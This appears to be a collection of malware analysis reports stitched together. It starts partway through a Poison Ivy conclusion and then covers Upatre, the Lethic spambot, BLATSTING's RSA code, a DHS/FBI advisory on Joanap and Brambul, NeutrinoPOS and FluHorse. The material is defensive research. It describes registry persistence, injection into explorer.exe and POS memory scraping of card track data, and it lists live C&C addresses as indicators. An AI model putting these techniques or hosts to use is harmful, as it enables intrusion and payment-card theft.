- Mutex name - 20160509
## Conclusion
Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns. Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host. FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here. It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload. HX also contains generic detections for the registry persistence, AppLocker bypasses, and subsequent stages of PowerShell abuse used in this attack. |
# Is Upatre Downloader Coming Back?
Hi Folks, today I want to share a quantitative analysis on a weird return-match by Upatre. According to Unit42, Upatre is an ancient downloader first spotted in 2013 used to inoculate banking trojans and active up to 2016.
First discovered in 2013, Upatre is primarily a downloader tool responsible for delivering additional trojans onto the victim host. It is most well-known for being tied with the Dyre banking trojan, with a peak of over 250,000 Upatre infections per month delivering Dyre back in July 2015. In November 2015, however, an organization thought to be associated with the Dyre operation was raided, and subsequently, the usage of Upatre delivering Dyre dropped dramatically, to less than 600 per month by January 2016.
From 2016 until today, I’ve never experienced a new Upatre campaign, or something like that, but something looks to be changed. Analyzing the Cyber Threats Trends findings, I spotted an interesting revival of the Upatre downloader starting from April 2020. The following image shows what I mean. Zero Upatre findings until April 21, 2020, and almost 50 single detections per day since that date. Those statistics are so strange to me that I need to doubt about that. So let’s take a closer look to it and see if there is some misclassification around.
Digging a little bit on those samples by asking a second opinion to VirusTotal, it looks like matches are genuine. In order to verify that “revival,” I firstly have taken some random samples (with Upatre classification tag) and then verified on VirusTotal the malware classification and the first submission date. Following an example of the performed checks. As you might see from the following picture, 9 AV classified that sample as Upatre, so we might consider it not a “false positive” or a “misclassified” sample.
The following image shows the “First Submission Date” which is aligned to what I’ve seen on Cyber Threats Trends. If you take some more samples from the following list (IoC Section), you will probably see many more cases similar to that one. I did many checks and I wasn’t able to find mismatches at all, so I decided to write up this post about it.
It’s something very interesting, at least to my understanding, to see an ancient downloader be resumed in such a specific period. Many people starting from April up to today are stuck at home performing what has been called “quarantine” due to the COVID pandemic. Curiously, during the same time, while people are working from home and potentially have much more free time (since they can’t get out of home), this older downloader reappears. Maybe somebody took advantage of this bad situation to resurrect some old tools stored in a dusty external hard drive? |
# Win32/Lethic Botnet Analysis
## Introduction
Lethic is a spam botnet consisting of an estimated 210,000 – 310,000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence, the botnet was responsible for 8-10% of all the spam sent worldwide. Around early January 2010, the botnet was dismantled by Neustar employees, who contacted various Lethic internet service providers in a bid to take control of the botnet’s command and control servers. This move temporarily caused the botnet’s spam to decrease to a trickle of its original volume.
In February 2010, the owners of the botnet managed to re-establish control over the botnet, using new command and control servers located in the United States. The takedown has decreased the spam volume of the botnet; however, as of February 2010, the botnet’s amount of spam was down to a third of its original. As of April 2010, the botnet has an estimated 1.5% share of the spam market, sending about 2 billion spam messages a day.
This article presents a view on the malware and its capabilities, how it communicates with the CnC, the encryption scheme used, as well as different protection mechanisms to make the malware analyst's job harder.
## Tools
- OllyDBG / IDA Pro
- Lethic sample (MD5 = 23DE74A6122A8AB3B02EFD3B2C481978, password = infected)
- Lethic Unpacked (password = infected)
## Infection Vector
This botnet arrives as attachments to spammed messages disguised as notifications from familiar contacts.
## Bot Analysis
I will not talk about the unpacking process because there is no relevant information regarding it. The original Lethic build file is about 17 KB. Not the smallest botnet ever seen; Tinba or Gamarue have lower sizes, but it is a low-profile botnet with many infections that may be the secret of its longevity.
Let’s go, fire up OllyDBG. OK, you are at the entry point of the malware. Looking at the data section, you could see some interesting strings like API names to be resolved, modules that are going to be loaded, also CnC IP address, etc. Just by looking at this dump, you could basically get a whole image about the inner workings of this bot.
The first thing it will try to resolve API dynamically using LoadLibrary and GetProcAddress. Put a BP at the RET instruction to see the whole import table filled with the function pointers:
1. Following it creates a directory in the APPDATA directory under the name of: “C:\Documents and Settings\Administrator\Application Data\WindowsUpdate”. Then, it makes a copy of the file under the name of “MSupdate.exe” in this directory and deletes the original file.
2. Following, to autostart with Windows, it creates two registry keys at: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” under the name “Taskman” which points to the executable file specified above.
3. And, another key under the name of “Windows Update Manager” in: “HKEY_LOCAL_USER\Software\Microsoft\Windows\CurrentVersion\Run”.
4. Additionally, it modifies the “shell” registry entry located at: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” with the value: `explorer.exe,C:\Documents and Settings\Administrator\Application Data\WindowsUpdate\MSupdate.exe`.
Next, it checks whether the operating system is a 32-bit or 64-bit environment by calling IsWoW64Process. For my case, I am running a Windows XP 32-bit; this is generally done before performing code injection.
## Process Injection
The code injection method used in Lethic is VirtualAllocEx/WriteProcessMemory/CreateRemoteThread in the explorer.exe process. To follow debugging at the explorer.exe process, you could either replace the first byte of the buffer with 0xCC and make OllyDBG a JIT debugger, and when you step through CreateRemoteThread, a new instance of OllyDBG will fire up and will attach to your process, then you can restore back the first byte to its original state. On the other hand, you could look at the start address parameter in CreateRemoteThread, start a new instance of OllyDBG, and put a BP on it.
Once you are done with this step, Lethic creates a new mutex named “VAmazinsdvd010201” to prevent duplicate processes from running on the same machine. Next, it loads some libraries in the explorer memory space and right after that, it starts preparing communication with the C&C using Winsock APIs.
## C&C Communication
After it successfully receives data from the CnC, depending on the value of the command, let’s list and explain what the different commands sent by the C&C can be, and what they do:
- **Add Server (0x01)**: The data includes a public mail server IP address and a port. Lethic then creates a socket and connects to the said mail server. Upon success, it initializes a new MailServerRecord with ID, the given IP and port, socket, and then inserts the record in `cc_hdr->Chain`. Now that the record has been added to the chain, should any of the following operations on the record fail, Lethic will inform the C&C server; and the latter will then send a “Remove Server” command to remove the faulty record.
- **Remove Server (0x02)**: Removes the record corresponding to ID from the mail server record chain.
- **Send Mail (0x03)**: Sends the buffer data to a mail server, via the MailServerRecord pointed to by ID. The result is sent back to the C&C server, which in turn decides whether it should set the RecvFeedBack flag or not.
- **Clean (0x04, 0x05)**: Does some cleaning work, such as freeing the whole MailServerRecords chain, deleting the malware installer, and exit.
- **Reserved (0x06)**: No further operation except for sending the received data back.
- **Add Server By Name (0x11)**: The same as Add Server, the only difference is that a hostname is given instead of an IP address.
- **Receive FeedBack (0x13)**: A flag that is used to set MailServerRecord.bfbFlag.
If the received buffer doesn’t include any of the aforementioned commands, Lethic checks each record of the chain. If the bfbFlag is set to TRUE, that means the Send Mail operation was successful, and feedback was received from the mail server. It thus initializes FEEDBACK with the record ID, command, feedback data, and size, and sends it all to the C&C server.
In all aspects, the Zombie acts as a slightly improved mail relay; it forwards received data from the C&C server to mail servers chosen in a managed list. That is not very efficient, in terms of bandwidth consumption, as compared to the traditional template-based approach. Indeed here, the C&C server has to send almost as much data as is sent by each Zombie. Logically, it seems to indicate that Lethic botnets all need to be small to operate smoothly.
## Conclusions
Lethic is yet another spambot to join the fray. It is unclear what its future holds, and we do not know when it emerged. However, this shows how “full” the “ecosystem” for spambots is. Lethic’s complexity is minimal when compared to other spam botnets (no rootkit seen, etc.) but it appears effective enough at this time. |
# The Curious Case of BLATSTING's RSA Implementation
Among BLATSTING’s modules is one named `crypto_rsa`. According to the name, one would expect it to implement the well-known asymmetric cryptosystem going under that name.
## RSA
One would expect an encryption operation
`o = m^e (mod n)`
and a matching decryption operation
`o = m^d (mod n)`
where `m` is the message, `n` is the RSA modulus (p times q), and `e` and `d` are the encryption and decryption exponents respectively, parameters computed during key generation and stored in a public or private key structure.
### The Interface
`crypto_rsa` offers four functions:
1. `create_ctx(keyblock, size)`
Allocates a context, endian-swaps and copies the key data.
2. `encrypt(ctx, inptr, outptr, inlen)`
Performs (supposedly) RSA encryption using a fixed exponent `e=65537`.
3. `dummy()`
Unimplemented, just "ret".
4. `free_ctx(ctx)`
Frees the context `ctx`.
Apparently, the interface only offers encryption, likely used for signature verification. The keyblock is a structure of 544 bytes containing a (up to 1024 bit) RSA key, with various bignum parameters represented by arrays of 32-bit integers:
```c
struct key_block {
uint32_t n[32]; // modulus
uint32_t unk0[32]; // Unused
uint32_t x[32]; // ?
uint32_t unk1[32]; // Unused
uint32_t unk2; // Unused
uint32_t fudge; // ?
uint32_t padding[6];
};
```
The fixed exponent `e` is not encoded in this structure. But what are those extra fields for, `x` and `fudge`?
### Curioser and Curioser
Here’s a Python version of what `encrypt` does:
```python
def weirdmod(a, b, fudge): # function at 0x08000cd4
v = a
for i in range(32):
v = ((((fudge * (v & 0xffffffff)) & 0xffffffff) * b) + v) >> 32
if v > b:
v -= b
return v
# RSA according to BLATSTING
def bs_rsa_encrypt(ctx, temp): # function factored out for clarity
temp = weirdmod(temp * ctx.x, ctx.n, ctx.fudge)
to = temp
for i in range(16):
to = weirdmod(to * to, ctx.n, ctx.fudge)
temp = weirdmod(temp * to, ctx.n, ctx.fudge)
return weirdmod(temp, ctx.n, ctx.fudge)
def bs_rsa_encrypt_outer(ctx, inptr, outptr, len): # function at 0x08000170
temp = memcpy_bswap4_in(inptr, len)
temp = bs_rsa_encrypt(ctx, temp)
memcpy_bswap4_out(outptr, temp, len)
```
Broadly, it looks like an RSA encrypt operation with a hard-coded exponent of `65537` (which is standard), except that an unconventional pre-multiplication with `x` is done. After each operation, a mod is applied to bring the result back within the range `[0..n-1]`.
However, note that `weirdmod` does not actually implement a modulus operator. Applying it repeatedly to a value does not yield the same result, and applying it to `1` does not yield `1`. What use would they have for such a mutilated version of RSA?
### Call Site
The only place where this module is used from is TADAQUEOUS, from the hooked function `__add_ipsec_sa`. It supplies the following parameters:
```python
class Context:
n = 0xd257c42f17e16815bef4c2f3fede55b5b7ed35fa4ae040aac0515a7bc662f564ac4e98272b61c24b6665
unk0 = 0x2da83bd0e81e97ea410b3d0c0121aa4a4812ca05b51fbf553faea584399d0a9b53b167d8d49e3db4999a
x = 0x76bc66dabca44047215cedfe4b6182cee4a9af38201d5b83ea8b3ab5ad7a05e835327be2337d8c302adb
unk1 = 0
unk2 = 1
fudge = 0xbb4d023f
```
### Surprise
So imagine my surprise when I tried it out and compared, using the above parameters:
```python
# Conventional RSA
def rsa_encrypt(ctx, m):
return pow(m, 65537, ctx.n)
# Try with random 1024-bit value
ctx = Context()
m = random.randint(0, (1 << 1024) - 1)
# Compare results
assert(rsa_encrypt(ctx, m) == bs_rsa_encrypt(ctx, m))
```
The result matches conventional RSA without pre-multiplication and with a normal expmod operator! So it is some kind of optimization, but I had not seen it before. It’s not part of e.g. OpenSSL. Edit: it is, according to k240df and martins_m on reddit, this is Montgomery reduction which is in OpenSSL under `crypto/bn/bn_mont.c`.
The thought came up when writing this that it was Montgomery reduction, but I did not recognize it as such.
I’m not up to date with the state of the art regarding efficient bignum arithmetic. Assuming 1024-bit numbers: A naive modulus implementation based on long division would take up to 1024 bignum comparisons and 1024 bignum subtractions, whereas the `weirdmod` operation takes 32 integer multiplications, 32 bignum muls, 32 bignum adds, 1 bignum compare, and 1 bignum sub.
Whether it is a win depends on how bignum multiplication is implemented. A naive bignum multiplication would take up to 32*32 integer multiplications and 32 bignum adds, in which case it would not really help. I have not studied the particular `bn_mul` implementation in BLATSTING.
Independent of the performance characteristics, I think this alternative implementation is worth highlighting, as it is in things like this that the Equation Group keeps true to their name. It looks like a form of Barrett reduction, turning divisions into multiplies, and precomputing a multiplicant over the exact number of modular reductions required. Edit: apparently this is a well-known optimization called Montgomery Reduction. Disappointing, I had hoped to catch at least some crypto magic in the act.
* All mentioned memory addresses are as shown by radare2, which loads the ELF part of Firewall/BLATSTING/BLATSTING_201381/LP/lpconfig/m01020000/m01020000.impmod at 0x08000000.
Written on September 13, 2016
Tags: eqgrp, malware, cryptography
Filed under Reverse-engineering |
# HIDDEN COBRA – Joanap Backdoor Trojan and Brambul Server Message Block Worm
## Systems Affected
Network systems
## Overview
This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. government partners, DHS and FBI identified Internet Protocol (IP) addresses and other indicators of compromise (IOCs) associated with two families of malware used by the North Korean government: a remote access tool (RAT), commonly known as Joanap; and a Server Message Block (SMB) worm, commonly known as Brambul. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.
FBI has high confidence that HIDDEN COBRA actors are using the IP addresses—listed in this report’s IOC files—to maintain a presence on victims’ networks and enable network exploitation. DHS and FBI are distributing these IP addresses and other IOCs to enable network defense and reduce exposure to any North Korean government malicious cyber activity. This alert also includes suggested response actions to the IOCs provided, recommended mitigation techniques, and information on how to report incidents. If users or administrators detect activity associated with these malware families, they should immediately flag it, report it to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give it the highest priority for enhanced mitigation.
## Description
According to reporting of trusted third parties, HIDDEN COBRA actors have likely been using both Joanap and Brambul malware since at least 2009 to target multiple victims globally and in the United States—including the media, aerospace, financial, and critical infrastructure sectors. Users and administrators should review the information related to Joanap and Brambul from the Operation Blockbuster Destructive Malware Report in conjunction with the IP addresses listed in the .csv and .stix files provided within this alert. Like many of the families of malware used by HIDDEN COBRA actors, Joanap, Brambul, and other previously reported custom malware tools, may be found on compromised network nodes. Each malware tool has different purposes and functionalities.
Joanap malware is a fully functional RAT that is able to receive multiple commands, which can be issued by HIDDEN COBRA actors remotely from a command and control server. Joanap typically infects a system as a file dropped by other HIDDEN COBRA malware, which users unknowingly downloaded either when they visit sites compromised by HIDDEN COBRA actors, or when they open malicious email attachments.
During analysis of the infrastructure used by Joanap malware, the U.S. Government identified 87 compromised network nodes. The countries in which the infected IP addresses are registered are as follows:
- Argentina
- Egypt
- Spain
- Belgium
- India
- Sri Lanka
- Brazil
- Iran
- Sweden
- Cambodia
- Jordan
- Taiwan
- China
- Pakistan
- Tunisia
- Colombia
- Saudi Arabia
Malware often infects servers and systems without the knowledge of system users and owners. If the malware can establish persistence, it could move laterally through a victim’s network and any connected networks to infect nodes beyond those identified in this alert.
Brambul malware is a brute-force authentication worm that spreads through SMB shares. SMBs enable shared access to files between users on a network. Brambul malware typically spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.
## Technical Details
### Joanap
Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device. Other notable functions include:
- file management
- process management
- creation and deletion of directories
- node management
Analysis indicates the malware encodes data using Rivest Cipher 4 encryption to protect its communication with HIDDEN COBRA actors. Once installed, the malware creates a log entry within the Windows System Directory in a file named mssscardprv.ax. HIDDEN COBRA actors use this file to capture and store victims’ information such as the host IP address, host name, and the current system time.
### Brambul
Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims’ local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.
Analysts suspect the malware targets insecure or unsecured user accounts and spreads through poorly secured network shares. Once the malware establishes unauthorized access on the victim’s systems, it communicates information about victim’s systems to HIDDEN COBRA actors using malicious email addresses. This information includes the IP address and host name—as well as the username and password—of each victim’s system. HIDDEN COBRA actors can use this information to remotely access a compromised system via the SMB protocol.
Analysis of a newer variant of Brambul malware identified the following built-in functions for remote operations:
- harvesting system information
- accepting command-line arguments
- generating and executing a suicide script
- propagating across the network using SMB
- brute forcing SMB login credentials
- generating Simple Mail Transport Protocol email messages containing target host system information.
## Detection and Response
This alert’s IOC files provide HIDDEN COBRA IOCs related to Joanap and Brambul. DHS and FBI recommend that network administrators review the information provided, identify whether any of the provided IP addresses fall within their organizations’ allocated IP address space, and—if found—take necessary measures to remove the malware.
When reviewing network perimeter logs for the IP addresses, organizations may find instances of these IP addresses attempting to connect to their systems. Upon reviewing the traffic from these IP addresses, system owners may find some traffic relates to malicious activity and some traffic relates to legitimate activity.
## Impact
A successful network intrusion can have severe impacts, particularly if the compromise becomes public. Possible impacts include:
- temporary or permanent loss of sensitive or proprietary information
- disruption to regular operations
- financial losses incurred to restore systems and files
- potential harm to an organization’s reputation.
## Solution
### Mitigation Strategies
DHS recommends that users and administrators use the following best practices as preventive measures to protect their computer networks:
- Keep operating systems and software up-to-date with the latest patches. Most attacks target vulnerable applications and operating systems. Patching with the latest updates greatly reduces the number of exploitable entry points available to an attacker.
- Maintain up-to-date antivirus software, and scan all software downloaded from the internet before executing.
- Restrict users’ abilities (permissions) to install and run unwanted software applications, and apply the principle of least privilege to all systems and services. Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
- Scan for and remove suspicious email attachments. If a user opens a malicious attachment and enables macros, embedded code will execute the malware on the machine. Enterprises and organizations should consider blocking email messages from suspicious sources that contain attachments.
- Follow safe practices when browsing the web.
- Disable Microsoft’s File and Printer Sharing service, if not required by the user’s organization. If this service is required, use strong passwords or Active Directory authentication.
- Enable a personal firewall on organization workstations and configure it to deny unsolicited connection requests.
### Response to Unauthorized Network Access
Contact DHS or your local FBI office immediately. To report an intrusion and request resources for incident response or technical assistance, contact DHS NCCIC ([email protected] or 888-282-0870), FBI through a local field office, or FBI’s Cyber Division ([email protected] or 855-292-3937). |
# Neutrino Modification for POS-terminals
**Authors**
Sergey Yunakovsky
From time to time, authors of effective and long-lived Trojans and viruses create new modifications and forks of them, like any other software authors. One of the brightest examples amongst them is Zeus (Trojan-Spy.Win32.Zbot, based on classification of “Kaspersky Lab”), which continues to spawn new modifications of itself each year. In a strange way, this malware becomes similar to its prototype from Greek mythology. We can also attribute such malware families as Mirai, NJRat, Andromeda, and so on to this “prolific” group. Malware named “Neutrino” takes an important place in this row of well-known Trojans, providing various types of infection, spreading, and a useful payload. In this article, we analyze a very special species – a variant which could collect credit card information from POS. Products of “Kaspersky Lab” detect it as Trojan-Banker.Win32.NeutrinoPOS.
**MD5 of described file:** 0CF70BCCFFD1D2B2C9D000DE496D34A1
## First Stage
The Trojan takes a long “sleep” before it starts. It seems that such code was added to fool some AV sandboxes. To determine the period of delay, the Trojan uses a pseudorandom number generator.
### C&C Communication
At the next stage, the Trojan extracts a C&C-address list from its body. The list is encoded at Base64. After decoding, the Trojan tries to find a working C&C, using the following algorithm:
- Sends POST-request to server, passing through its body encoding in base64 string “enter” (ZW50ZXI=). All encoded strings contain the prefix “_wv=”.
- Working server responds with a 404 page, which contains at the end of it encoded string c3VjY2Vzcw== (success). In case of “success”, the Trojan marks the address of the used servers as working.
We should also notice that in the header of each POST-request there is an “auth” field, which stays the same for each sample from the family NeutrinoPOS.
### Restored Code of C&C-server Check
The C&C address stored at registry branch HKCR\Sofrware\alFSVWJB is the same as other variables and data used by NeutrinoPOS sample. Branch name differs from the one described here, but after full comparison of both samples, we can claim that both samples are the same modification of Neutrino.
### C&C Commands
The described variant contains the following functions:
- Download and start file
- Make screenshot
- Search process by name
- Change register branches
- Search file by name on infected host and send it to C&C
- Proxy
The server sends commands in plain view, like “PROXY”, “screenshot”, and so on, encoded in base64. Following analysis, we can claim that in the current versions of Neutrino there are no functions for DDoS attacks.
### Implementation of Command Control Sum Calculating
Examples of a few commands:
- Rolxor(“PROXY”) = 0xA53EC5C
- Rolxor(“screenshot”) = 0xD9FA0E3
## Stealing of Credit Cards
The algorithm for stealing credit card information is implemented in the Trojan in quite a simple way and described as follows:
1. The Trojan starts to work through currently running processes, using CreateToolhelp32Snapshot, Process32FirstW, Process32NextW.
2. Using OpenProcess, VirtualQuery, ReadProcessMemory, the Trojan gets information about the memory pages of the process.
3. The Trojan scans the memory pages for the string “Track1”, which marks fields of the first track of the magnetic card. All described fields go one by one:
- Sequence of symbols in range from ‘0’ to ‘9’ with length equal to 15, 16, or 19.
- Sequence checking with Luhn algorithm.
- Check presence of separation symbol ‘^’ in next and previous fields.
- Extract card holder name, with max length, based on ISO/IEC 7813, equal to 26 symbols.
- Rest data (CVC32, expiration date, CVV) extracts as a whole block, with check of length and content.
4. Collected data sends to the server with the mark “Track1”.
5. After that, the Trojan starts to extract the next fields with the mark “Track2” at the beginning:
- At first, it extracts PAN with the same checks as on the previous stage.
- As a separation symbol, it uses ‘ ’ or ‘D’.
- Track2 doesn’t contain the card holder name — rest data extracts as a whole block.
6. Collected data sent to the server with the mark “Track2”.
## Distribution Statistics
The largest areas of infection are Russia and Kazakhstan. Nearly 10% of infected computers belong to small business corporate customers.
## Conclusion
As we can see from the described Trojan Neutrino, despite belonging to an old, well-known, and researched family, it continues to bring various surprises to malware analysts and researchers in the form of atypical functionality or application. We can see the same situation with Mirai forks, for example, which generate an enormous count across all platforms and in different species. Generally speaking, all publications of malware source code with good architecture and various functionality will cause interest and attention from malware authors, who will try to use it for nearly all possible ways of illegal money gain. We can assume that right now there may already be new modifications of Neutrino with functionality for cryptocurrency mining.
**MD5:**
CECBED938B10A6EEEA21EAF390C149C1
66DFBA01AE6E3AFE914F649E908E9457
4DB70AE71452647E87380786E065F31E
9D70C5CDEDA945CE0F21E76363FE13C5
B682DA77708EE148B914AAEC6F5868E1
5AA0ADBD3D2B98700B51FAFA6DBB43FD
A03BA88F5D70092BE64C8787E7BC47DE
D18ACF99F965D6955E2236645B32C491
3B6211E898B753805581BB41FB483C48
7D28D392BED02F17094929F8EE84234A
C2814C3A0ACB1D87321F9ECFCC54E18C
74404316D9BAB5FF2D3E87CA97DB5F0C
7C6FF28E0C882286FBBC40F27B6AD248
729C89CB125DF6B13FA2666296D11B5A
855D3324F26BE1E3E3F791C29FB06085
2344098C7FA4F859BE1426CE2AD7AE8E
C330C636DE75832B4EC78068BCF0B126
CCBDB9F4561F9565F049E43BEF3E422F
53C557A8BAC43F47F0DEE30FFFE88673
**C&C:**
hxxp://pranavida.cl/director/tasks.php
hxxps://5.101.4.41/panel/tasks.php
hxxps://5.101.4.41/updatepanel/tasks.php
hxxp://jkentnew.5gbfree.com/p/tasks.php
hxxp://124.217.247.72/tasks.php
hxxp://combee84.com/js/css/tasks.php
hxxp://nut29.xsayeszhaifa.bit/newfiz29/logout.php
hxxp://nut29.nsbacknutdoms11war.com/newfiz29/logout.php
hxxp://jbbrother.com/jbb/meaca/obc/pn/tasks.php
hxxp://ns1.posnxqmp.ru/PANEL/tasks.php
hxxp://nut25.nsbacknutdoms11war.com/newfiz25/logout.php
hxxp://propertiesofseyshellseden.com/newfiz21/logout.php
hxxp://n31.propertiesofseyshellseden.com/newfiz31/logout.php
hxxp://propertiesofseyshellseden.com/newfiz21/logout.php
hxxp://n31.propertiesofseyshellseden.com/newfiz31/logout.php
**Tags:**
POS malware
Trojan Banker
ZeuS
**Authors**
Sergey Yunakovsky |
# Eastern Asian Android Assault – FluHorse
**Research by:** Alex Shamshur, Sam Handelman, Raman Ladutska, Ohad Mana
**Date:** May 4, 2023
## Introduction
In the latest research conducted by Check Point Research, we describe a newly discovered malware called FluHorse. The malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months, making it a persistent, dangerous, and hard-to-spot threat.
Cyber-crime operators often get creative in their aim of complicating the malware analysis. They can use tricks like evasion techniques, obfuscation, and long delays before execution – all to sneak past virtual environments and confound researchers. Usually, these tricks have custom implementation that require plenty of effort on their creators’ behalf. Only in rare cases are malware samples hard to detect and analyze even when they are developed with widely available technologies.
Quite surprisingly, no custom implemented tricks are used inside FluHorse, as the malware authors relied solely on open-source frameworks for the development process. Although some of the applications are created partly with Kotlin, the malicious functionality is implemented with Flutter – and this is where we focused our technical efforts. Flutter is an open-source UI software development kit created by Google. It is used to develop cross-platform applications for various platforms, including Android and iOS for mobile devices, with a single codebase. What makes Flutter an appealing choice for malware developers is the use of a custom virtual machine (VM) to support different platforms and its ease of use for creation of GUI elements. In addition, analyzing such applications is complicated due to the custom VM, which makes this framework a perfect solution for Android phishing attacks.
In the article below, we describe different targeted markets in several countries and compare phishing applications with the legitimate ones – differences are pretty hard to spot at first glance. We note the available tools for Flutter-application analysis while also providing the enhancements that resulted in our open-source contribution. We go through all the pitfalls encountered during our research and provide solutions on how to bypass them. Finally, we give an overview of Command-and-Control (C&C) communication of the malware as well as dive deeply into the details of the network infrastructure analysis.
## Mimicked applications
The malware operators made an eclectic selection of targeted sectors for particular countries, using one mimicked application in each country. One of these mimicked applications is the ETC application, which is used for toll collection in Taiwan. This application has more than 1,000,000 installs in Google Play. The company behind ETC is trusted and has a good reputation, which makes such an application very appealing to the attackers as it is sure to attract solvent customers:
**Far Eastern Electronic Toll Collection Co., Ltd (FETC)** in Taiwan – The developer of the ETC APK has approximately 16 million transactions per day and more than 6 million users according to the company’s website.
More cases include a mimicked major transportation application and a major banking application – we do not describe them thoroughly in this article. Although the spheres are different, the malware operators made an effort to carefully mimic all the key interface details to avoid raising any suspicions. We meticulously go through the details of GUI in different applications later in the report, in the chapter “Phishing scheme.”
There are also some malicious applications that are connected to the dating sphere, but we did not find any matching applications that the malware attempts to mimic. In this scenario, the scheme is a bit different: the malware serves as a browser to the phishing site where the victim is supposed to enter the sensitive data. These applications are aimed at Chinese-speaking users.
## Phishing scheme
Let’s take a look at how the phishing scheme is implemented in different variants of the applications. It’s interesting to note that malicious applications do not contain anything except for several replicas of windows to provide a victim with input possibilities. No additional functions or checks were added. This deliberate simplicity leads us to the conclusion that the malware operators did not put much effort into the programming part of their creation… Or they could have made this decision on purpose to further reduce the chances of being detected by security solutions.
Whatever their intention was, the scheme works pretty well. After the victim enters sensitive data, it is exfiltrated to the C&C server. Meanwhile, the malware asks the victim to wait for several minutes while “the data is being processed.” At this step, the SMS interception feature takes the stage and redirects all the incoming SMS traffic to the malicious server. If the malware actors enter stolen credentials or credit card data and then are asked to input Two-Factor Authentication (2FA) code, this is intercepted as well.
Please note that depending on the type of malicious application (targeting Electronic Toll, Banking, or Dating users), credentials or credit card numbers may not be required.
## Infection chain and targets
Before the malicious applications are installed on the victims’ devices, they must first be delivered. This is where email lures come in handy. We traced infection chains for different types of malicious applications and discovered multiple high-profile entities among the recipients of these emails, including employees of the government sector and large industrial companies. Email lures are a good use of social engineering and are aligned with the alleged purpose of subsequently installed malicious APK: paying tolls.
This is an example of an email lure with the sender address: [email protected]
**Email translation:**
Dear eTag user,
Your one-time toll of 128 yuan expires on January 10, 2023. To avoid a fine of 300 yuan per transaction, please use your mobile phone to click and download the Yuantong Electric Collection App as soon as possible. Pay online.
Far Eastern Electronic Toll Collection Co., Ltd. All Rights Reserved.
Yuantong Electric has trademarks and copyrights, please do not copy or reprint without authorization.
If you have any questions, please call Yuantong Customer Service Line 02-77161998.
Thanks.
The malicious fetc-net.com domain used by the malware operators is very similar to fetc.net.tw, which is the official site of the FETC company.
On this malicious website, the malware actors added an additional protection layer to ensure that only the victims are able to download the APK: it is downloaded in the case if a target’s user agent matches the expected one. This check is performed via a client-side JavaScript.
After the malware is installed, it requires SMS permissions.
The permissions obtained at this step will come into play just after the victim enters the sensitive data. And this brings us straight to the next chapter where the attack scheme is described.
## Malicious applications: step-by-step GUI analysis
Let’s take a more detailed look at a couple of malicious applications we encountered.
### Malicious Electronic Toll Collection APK
This application contains only 3 windows. The first window asks for user credentials, and the second one for the credit card data. All this sensitive data is exfiltrated to the malicious C&C server. Next, the third window asks the user to wait for 10 minutes because the “system is busy.” The hope is that the user will close the application, or at least not suspect anything wrong for a reasonable period of time. While the user is lulled into a false sense of security by the “system busy” message, the malware operators perform all their required actions, i.e., intercept all the incoming SMS with 2FA codes and make use of the stolen data.
The entire GUI of this decoy application looks like a pretty neat copy of the original ETC application for collecting tolls.
### Malicious Dating APK
The Dating application does not contain any windows. Instead, it effectively functions as a browser leading to the phishing dating site. However, the principle of stealing and processing the data remains the same. We do not have screenshots of all the steps interacting with the victim, as at the time of writing this article the malicious servers responsible for processing stolen data from this APK were not active. According to the code, only credit card data is stolen, and no credentials are asked for.
## Technical details
The analysis of Flutter-based applications, compared to the analysis of pure Android applications, requires some intermediate steps to reach our goal. There are already several good existing guidelines that we used as a basis for our technical analysis.
### Digging deep
As we mentioned in the introduction, Flutter uses a custom virtual environment to support multi-platform development with a single code base. A specific programming language, called Dart, is used for the development. Analyzing the Flutter platform code gets a bit easier as it is available as an open-source project, but can still be a tedious process.
Let’s take a look at some of the complications we encountered when dealing with an ad-hoc realm of Flutter runtime. We dissected an APK with the hash 2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684. Flutter runtime for ARM uses its own stack pointer register (R15) instead of the built-in stack pointer (SP).
A good way to start the malware analysis is to determine the protocol of the communication with the C&C servers. This can say a lot about the malicious functionality. There is one string inside that corresponds to the site we saw in the phishing email.
Our goal is to create a reference to this string to locate the code where the C&C communication is performed. The articles we mentioned earlier introduce some nice open-source tools to deal with Flutter applications: flutter-re-demo and reFlutter. Their main idea is to use runtime snapshots to create Dart objects and find references to them.
However, in addition to memory snapshots, some more runtime information is required. Flutter runtime uses a heap to create objects and stores the pointer to created objects in a special area called the Object Pool. The pointer to this pool is passed to the method in a register X27. We need to find the location of the Object Pool.
Now we have all the required elements to start a productive reverse engineering.
After loading the dumps with map_dart_vm_memory.py and running the script create_dart_objects.py, we can now see at least some of the objects.
During the Flutter application reverse-engineering, we noticed that the last field (unk) is frequently used as a pointer. We considered converting this field from a simple QWORD to OFFSET QWORD. This could give us some false positives but could also be very helpful in creating references.
